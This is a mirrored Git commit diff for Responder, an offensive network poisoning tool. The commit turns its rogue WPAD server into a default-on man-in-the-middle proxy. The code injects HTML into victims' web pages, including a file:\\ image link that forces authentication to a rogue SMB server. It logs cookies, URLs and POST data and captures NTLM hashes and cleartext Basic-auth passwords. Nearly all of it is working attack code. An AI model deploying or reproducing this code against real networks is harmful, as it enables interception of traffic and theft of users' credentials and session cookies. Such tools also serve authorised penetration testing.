mirror of
https://github.com/lgandx/Responder.git
synced 2025-07-06 13:01:24 -07:00
The WPAD server is now a fully functional proxy server (enabled by default), HTML injection in server's responses is now supported.
This commit is contained in:
parent
cdf6a6565b
commit
63daac7840
2 changed files with 203 additions and 148 deletions
|
@ -38,11 +38,12 @@ Filename = Denied.html
|
|||
ExecFilename = FixInternet.exe
|
||||
;
|
||||
;Set your custom PAC script
|
||||
WPADScript = function FindProxyForURL(url, host){return 'PROXY ISAProxySrv:3141; DIRECT';}
|
||||
WPADScript = function FindProxyForURL(url, host){if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT";return 'PROXY ISAProxySrv:3141; DIRECT';}
|
||||
;
|
||||
;HTML answer to serve after user authentication.
|
||||
;In this example, we redirect the browser to our rogue SMB server.
|
||||
HTMLToServe = <html><head></head><body><img src='file:\\\\\shar\smileyd.ico' alt='Loading' height='1' width='2'></body></html>
|
||||
;HTML answer to inject.
|
||||
;In this example, we redirect the browser to our rogue SMB server. Please consider the "RespProxySrv" string when modifying, it is used in conjunction with WPADScript so no proxy will be used for this host.
|
||||
;Also, the HTML has to be in this format "<html> Payload goes here...</html>".
|
||||
HTMLToServe = <html><head></head><body><img src='file:\\\\\RespProxySrv\sshsed\seyad.ico' alt='Loading' height='1' width='2'></body></html>
|
||||
;
|
||||
[HTTPS Server]
|
||||
;
|
||||
|
|
312
Responder.py
312
Responder.py
|
@ -16,7 +16,7 @@
|
|||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
import sys,struct,SocketServer,re,optparse,socket,thread,Fingerprint,random,os,ConfigParser
|
||||
import sys,struct,SocketServer,re,optparse,socket,thread,Fingerprint,random,os,ConfigParser,BaseHTTPServer, select,urlparse,zlib
|
||||
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler,BaseServer
|
||||
from Fingerprint import RunSmbFinger,OsNameClientVersion
|
||||
from odict import OrderedDict
|
||||
|
@ -36,7 +36,7 @@ parser.add_option('-r', '--wredir',action="store", help="Set this to enable answ
|
|||
|
||||
parser.add_option('-f','--fingerprint', action="store", dest="Finger", help = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", metavar="Off", choices=['On','on','off','Off'], default="Off")
|
||||
|
||||
parser.add_option('-w','--wpad', action="store", dest="WPAD_On_Off", help = "Set this to On or Off to start/stop the WPAD rogue proxy server. Default value is Off", metavar="Off", choices=['On','on','off','Off'], default="Off")
|
||||
parser.add_option('-w','--wpad', action="store", dest="WPAD_On_Off", help = "Set this to On or Off to start/stop the WPAD rogue proxy server. Default value is On", metavar="Off", choices=['On','on','off','Off'], default="On")
|
||||
|
||||
parser.add_option('--lm',action="store", help="Set this to On if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is Off", metavar="Off",dest="LM_On_Off", choices=['On','on','off','Off'], default="Off")
|
||||
|
||||
|
@ -1042,16 +1042,9 @@ def GrabCookie(data,host):
|
|||
logging.warning(NoCookies)
|
||||
return NoCookies
|
||||
|
||||
def ServeWPADOrNot(on_off):
|
||||
if on_off == "ON":
|
||||
return True
|
||||
if on_off == "OFF":
|
||||
return False
|
||||
|
||||
def WpadCustom(data,client):
|
||||
if ServeWPADOrNot(WPAD_On_Off):
|
||||
b = re.search('(/wpad.dat|/*\.pac)', data)
|
||||
if b:
|
||||
Wpad = re.search('(/wpad.dat|/*\.pac)', data)
|
||||
if Wpad:
|
||||
Message = "[+]WPAD file sent to: %s"%(client)
|
||||
if Verbose:
|
||||
print Message
|
||||
|
@ -1117,8 +1110,8 @@ def GrabURL(data, host):
|
|||
|
||||
#Handle HTTP packet sequence.
|
||||
def PacketSequence(data,client):
|
||||
a = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
|
||||
b = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
|
||||
Ntlm = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
|
||||
BasicAuth = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
|
||||
if ServeEXEOrNot(Exe_On_Off) and re.findall('.exe', data):
|
||||
File = config.get('HTTP Server', 'ExecFilename')
|
||||
buffer1 = ServerExeFile(Payload = ServeEXE(data,client,File),filename=File)
|
||||
|
@ -1133,8 +1126,8 @@ def PacketSequence(data,client):
|
|||
buffer1 = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,FILENAME))
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
if a:
|
||||
packetNtlm = b64decode(''.join(a))[8:9]
|
||||
if Ntlm:
|
||||
packetNtlm = b64decode(''.join(Ntlm))[8:9]
|
||||
if packetNtlm == "\x01":
|
||||
GrabURL(data,client)
|
||||
GrabCookie(data,client)
|
||||
|
@ -1145,24 +1138,19 @@ def PacketSequence(data,client):
|
|||
buffer1 = str(t)
|
||||
return buffer1
|
||||
if packetNtlm == "\x03":
|
||||
NTLM_Auth= b64decode(''.join(a))
|
||||
NTLM_Auth= b64decode(''.join(Ntlm))
|
||||
ParseHTTPHash(NTLM_Auth,client)
|
||||
if re.search('(/wpad.dat|/*\.pac)', data):
|
||||
buffer1 = WPADScript(Payload=WPAD_Script) #Fix login prompt for wpad.
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
else:
|
||||
buffer1 = IIS_Auth_Granted(Payload=config.get('HTTP Server','HTMLToServe'))
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
if b:
|
||||
if BasicAuth:
|
||||
GrabCookie(data,client)
|
||||
GrabURL(data,client)
|
||||
outfile = os.path.join(ResponderPATH,"HTTP-Clear-Text-Password-"+client+".txt")
|
||||
if PrintData(outfile,b64decode(''.join(b))):
|
||||
print "[+]HTTP-User & Password:", b64decode(''.join(b))
|
||||
WriteData(outfile,b64decode(''.join(b)), b64decode(''.join(b)))
|
||||
logging.warning('[+]HTTP-User & Password: %s'%(b64decode(''.join(b))))
|
||||
if PrintData(outfile,b64decode(''.join(BasicAuth))):
|
||||
print "[+]HTTP-User & Password:", b64decode(''.join(BasicAuth))
|
||||
WriteData(outfile,b64decode(''.join(BasicAuth)), b64decode(''.join(BasicAuth)))
|
||||
logging.warning('[+]HTTP-User & Password: %s'%(b64decode(''.join(BasicAuth))))
|
||||
buffer1 = IIS_Auth_Granted(Payload=config.get('HTTP Server','HTMLToServe'))
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
|
@ -1191,117 +1179,182 @@ class HTTP(BaseRequestHandler):
|
|||
##################################################################################
|
||||
#HTTP Proxy Stuff
|
||||
##################################################################################
|
||||
|
||||
def GrabHost(data,host):
|
||||
GET = re.findall('(?<=GET )[^HTTP]*', data)
|
||||
CONNECT = re.findall('(?<=CONNECT )[^HTTP]*', data)
|
||||
POST = re.findall('(?<=POST )[^HTTP]*', data)
|
||||
POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data)
|
||||
if GET:
|
||||
HostStr = "[+]HTTP Proxy sent from: %s The requested URL was: %s"%(host,''.join(GET))
|
||||
logging.warning(HostStr)
|
||||
if Verbose:
|
||||
print HostStr
|
||||
return ''.join(GET),None
|
||||
if CONNECT:
|
||||
Host2Str = "[+]HTTP Proxy sent from: %s The requested URL was: %s"%(host,''.join(CONNECT))
|
||||
logging.warning(Host2Str)
|
||||
if Verbose:
|
||||
print Host2Str
|
||||
return ''.join(CONNECT), None
|
||||
if POST:
|
||||
Host3Str = "[+]HTTP Proxy sent from: %s The requested URL was: %s"%(host,''.join(POST))
|
||||
logging.warning(Host3Str)
|
||||
if Verbose:
|
||||
print Host3Str
|
||||
if len(''.join(POSTDATA)) >2:
|
||||
PostData = '[+]The HTTP POST DATA in this request was: %s'%(''.join(POSTDATA))
|
||||
if Verbose:
|
||||
print PostData
|
||||
logging.warning(PostData)
|
||||
return ''.join(POST), ''.join(POSTDATA)
|
||||
def HandleGzip(Headers, Content, Payload):
|
||||
if len(Content) > 10:
|
||||
try:
|
||||
unziped = zlib.decompress(Content, 16+zlib.MAX_WBITS)
|
||||
except:
|
||||
return False
|
||||
InjectPayload = Payload
|
||||
Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers))
|
||||
HasHTML = re.findall('(?<=<html)[^<]*', unziped)
|
||||
if HasHTML :
|
||||
if Verbose == True:
|
||||
print 'Injecting: %s into the original page'%(config.get('HTTP Server','HTMLToServe'))
|
||||
Content = unziped.replace("<html", Payload+"\n<html")
|
||||
ziped = zlib.compress(Content)
|
||||
FinalLen = str(len(ziped))
|
||||
Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+FinalLen)
|
||||
return Headers+'\r\n\r\n'+ziped
|
||||
else:
|
||||
NoHost = "[+]No host url sent with this request"
|
||||
logging.warning(NoHost)
|
||||
return "NO HOST", None
|
||||
|
||||
def ProxyBasic_Ntlm(Basic):
|
||||
if Basic == "ON":
|
||||
return IIS_Basic_407_Ans()
|
||||
if Basic == "OFF":
|
||||
return IIS_Auth_407_Ans()
|
||||
|
||||
def ParseDomain(data,client):
|
||||
Host,PostData = GrabHost(data,client)
|
||||
Cookie = GrabCookie(data,client)
|
||||
Message = "Requested URL: %s\nComplete Cookie: %s\nClient IP is: %s\nPOST DATA: %s"%(Host, Cookie, client,PostData)
|
||||
DomainName = re.search('^(.*:)//([a-z\-.]+)(:[0-9]+)?(.*)$', Host)
|
||||
if DomainName:
|
||||
OutFile = os.path.join(ResponderPATH,"HTTPCookies/HTTP-Cookie-"+DomainName.group(2)+"-"+client+".txt")
|
||||
WriteData(OutFile,Message, Message)
|
||||
return False
|
||||
else:
|
||||
OutFile = os.path.join(ResponderPATH,"HTTPCookies/HTTP-Cookie-"+Host.replace('/','')+"-"+client+".txt")
|
||||
WriteData(OutFile,Message, Message)
|
||||
return False
|
||||
|
||||
#Handle HTTP packet sequence.
|
||||
def ProxyPacketSequence(data,client):
|
||||
a = re.findall('(?<=Proxy-Authorization: NTLM )[^\\r]*', data)
|
||||
b = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
|
||||
if ServeEXEOrNot(Exe_On_Off) and re.findall('.exe', data):
|
||||
File = config.get('HTTP Server', 'ExecFilename')
|
||||
buffer1 = ServerExeFile(Payload = ServeEXE(data,client,File),filename=File)
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
if ServeEXECAlwaysOrNot(Exec_Mode_On_Off):
|
||||
if IsExecutable(FILENAME):
|
||||
buffer1 = ServeAlwaysExeFile(Payload = ServeEXE(data,client,FILENAME),ContentDiFile=FILENAME)
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
def InjectData(data, Payload):
|
||||
if len(data.split('\r\n\r\n'))>1:
|
||||
Headers, Content = data.split('\r\n\r\n')
|
||||
RedirectCodes = ['HTTP/1.1 300', 'HTTP/1.1 301', 'HTTP/1.1 302', 'HTTP/1.1 303', 'HTTP/1.1 304', 'HTTP/1.1 305', 'HTTP/1.1 306', 'HTTP/1.1 307']
|
||||
if [s for s in RedirectCodes if s in Headers]:
|
||||
return data
|
||||
if "Content-Encoding: gzip" in Headers:
|
||||
Gzip = HandleGzip(Headers,Content, Payload)
|
||||
if Gzip:
|
||||
return Gzip
|
||||
else:
|
||||
buffer1 = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,FILENAME))
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
if a:
|
||||
packetNtlm = b64decode(''.join(a))[8:9]
|
||||
if packetNtlm == "\x01":
|
||||
r = NTLM_Challenge(ServerChallenge=Challenge)
|
||||
r.calculate()
|
||||
t = IIS_407_NTLM_Challenge_Ans()
|
||||
t.calculate(str(r))
|
||||
buffer1 = str(t)
|
||||
return buffer1
|
||||
if packetNtlm == "\x03":
|
||||
NTLM_Auth= b64decode(''.join(a))
|
||||
ParseHTTPHash(NTLM_Auth,client)
|
||||
buffer1 = DitchThisConnection()
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
if b:
|
||||
outfile = os.path.join(ResponderPATH,"HTTP-Proxy-Clear-Text-Password-"+client+".txt")
|
||||
WriteData(outfile,b64decode(''.join(b)),b64decode(''.join(b)))
|
||||
print "[+][Proxy]HTTP-User & Password:", b64decode(''.join(b))
|
||||
logging.warning('[+][Proxy]HTTP-User & Password: %s'%(b64decode(''.join(b))))
|
||||
buffer1 = DitchThisConnection()
|
||||
buffer1.calculate()
|
||||
return str(buffer1)
|
||||
return data
|
||||
if "Content-Type: text/html" in Headers:
|
||||
Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers))
|
||||
HasHTML = re.findall('(?<=<html)[^<]*', Content)
|
||||
if HasHTML :
|
||||
if Verbose == True:
|
||||
print 'Injecting: %s into the original page'%(config.get('HTTP Server','HTMLToServe'))
|
||||
NewContent = Content.replace("<html", Payload+"\n<html")
|
||||
FinalLen = str(len(NewContent))
|
||||
Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+FinalLen)
|
||||
return Headers+'\r\n\r\n'+NewContent
|
||||
else:
|
||||
return str(ProxyBasic_Ntlm(Basic))
|
||||
return data
|
||||
|
||||
#HTTP Rogue Proxy Server Class
|
||||
class HTTPProxy(BaseRequestHandler):
|
||||
else:
|
||||
return data
|
||||
|
||||
else:
|
||||
return data
|
||||
|
||||
#Inspired from Tiny HTTP proxy, original work: SUZUKI Hisao.
|
||||
class ProxyHandler (BaseHTTPServer.BaseHTTPRequestHandler):
|
||||
__base = BaseHTTPServer.BaseHTTPRequestHandler
|
||||
__base_handle = __base.handle
|
||||
|
||||
rbufsize = 0
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.settimeout(0.1)
|
||||
for x in range(2):
|
||||
data = self.request.recv(8092)
|
||||
ParseDomain(data,self.client_address[0])
|
||||
buffer0 = ProxyPacketSequence(data,self.client_address[0])
|
||||
self.request.sendall(buffer0)
|
||||
(ip, port) = self.client_address
|
||||
self.__base_handle()
|
||||
|
||||
def _connect_to(self, netloc, soc):
|
||||
i = netloc.find(':')
|
||||
if i >= 0:
|
||||
host_port = netloc[:i], int(netloc[i+1:])
|
||||
else:
|
||||
host_port = netloc, 80
|
||||
try: soc.connect(host_port)
|
||||
except socket.error, arg:
|
||||
try: msg = arg[1]
|
||||
except: msg = arg
|
||||
self.send_error(404, msg)
|
||||
return 0
|
||||
return 1
|
||||
|
||||
def do_CONNECT(self):
|
||||
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
try:
|
||||
if self._connect_to(self.path, soc):
|
||||
self.wfile.write(self.protocol_version +
|
||||
" 200 Connection established\r\n")
|
||||
self.wfile.write("Proxy-agent: %s\r\n" % self.version_string())
|
||||
self.wfile.write("\r\n")
|
||||
try:
|
||||
self._read_write(soc, 300)
|
||||
except:
|
||||
pass
|
||||
finally:
|
||||
soc.close()
|
||||
self.connection.close()
|
||||
|
||||
def do_GET(self):
|
||||
(scm, netloc, path, params, query, fragment) = urlparse.urlparse(
|
||||
self.path, 'http')
|
||||
if scm not in ('http') or fragment or not netloc:
|
||||
self.send_error(400, "bad url %s" % self.path)
|
||||
return
|
||||
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
try:
|
||||
if scm == 'http':
|
||||
if self._connect_to(netloc, soc):
|
||||
soc.send("%s %s %s\r\n" % (self.command,
|
||||
urlparse.urlunparse(('', '', path,
|
||||
params, query,
|
||||
'')),
|
||||
self.request_version))
|
||||
for headers in self.headers.items():
|
||||
if "cookie" in headers:
|
||||
Cookie = self.headers['Cookie']
|
||||
else:
|
||||
Cookie = ''
|
||||
Message = "Requested URL: %s\nComplete Cookie: %s\nClient IP is: %s\n"%(self.path, Cookie, self.client_address[0])
|
||||
if Verbose == True:
|
||||
print Message
|
||||
OutFile = os.path.join(ResponderPATH,"HTTPCookies/HTTP-Cookie-request-"+netloc+"-from-"+self.client_address[0]+".txt")
|
||||
WriteData(OutFile,Message, Message)
|
||||
self.headers['Connection'] = 'close'
|
||||
del self.headers['Proxy-Connection']
|
||||
for key_val in self.headers.items():
|
||||
soc.send("%s: %s\r\n" % key_val)
|
||||
soc.send("\r\n")
|
||||
try:
|
||||
self._read_write(soc, netloc)
|
||||
except:
|
||||
pass
|
||||
|
||||
finally:
|
||||
soc.close()
|
||||
self.connection.close()
|
||||
|
||||
def _read_write(self, soc, netloc='', max_idling=30):
|
||||
iw = [self.connection, soc]
|
||||
ow = []
|
||||
count = 0
|
||||
while 1:
|
||||
count += 1
|
||||
(ins, _, exs) = select.select(iw, ow, iw, 1)
|
||||
if exs:
|
||||
break
|
||||
if ins:
|
||||
for i in ins:
|
||||
if i is soc:
|
||||
out = self.connection
|
||||
try:
|
||||
if len(config.get('HTTP Server','HTMLToServe'))>5:
|
||||
data = InjectData(i.recv(8192), config.get('HTTP Server','HTMLToServe'))
|
||||
else:
|
||||
data = i.recv(8192)
|
||||
except:
|
||||
pass
|
||||
else:
|
||||
out = soc
|
||||
data = i.recv(8192)
|
||||
if self.command == "POST":
|
||||
Message = "POST data was: %s\n"%(data)
|
||||
if Verbose == True:
|
||||
print Message
|
||||
OutFile = os.path.join(ResponderPATH,"HTTPCookies/HTTP-Cookie-request-"+netloc+"-from-"+self.client_address[0]+".txt")
|
||||
WriteData(OutFile,Message, Message)
|
||||
if data:
|
||||
out.send(data)
|
||||
count = 0
|
||||
if count == max_idling:
|
||||
break
|
||||
return None
|
||||
|
||||
|
||||
do_HEAD = do_GET
|
||||
do_POST = do_GET
|
||||
do_PUT = do_GET
|
||||
do_DELETE=do_GET
|
||||
|
||||
|
||||
except Exception:
|
||||
pass#No need to be verbose..
|
||||
self.request.close()
|
||||
##################################################################################
|
||||
#HTTPS Server
|
||||
##################################################################################
|
||||
|
@ -1680,7 +1733,7 @@ def Is_HTTPS_On(SSL_On_Off):
|
|||
#Function name self-explanatory
|
||||
def Is_WPAD_On(on_off):
|
||||
if on_off == "ON":
|
||||
return thread.start_new(serve_thread_tcp,('', 3141,HTTPProxy))
|
||||
return thread.start_new(serve_thread_tcp,('', 3141,ProxyHandler))
|
||||
if on_off == "OFF":
|
||||
return False
|
||||
|
||||
|
@ -1818,3 +1871,4 @@ if __name__ == '__main__':
|
|||
|
||||
|
||||
|
||||
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue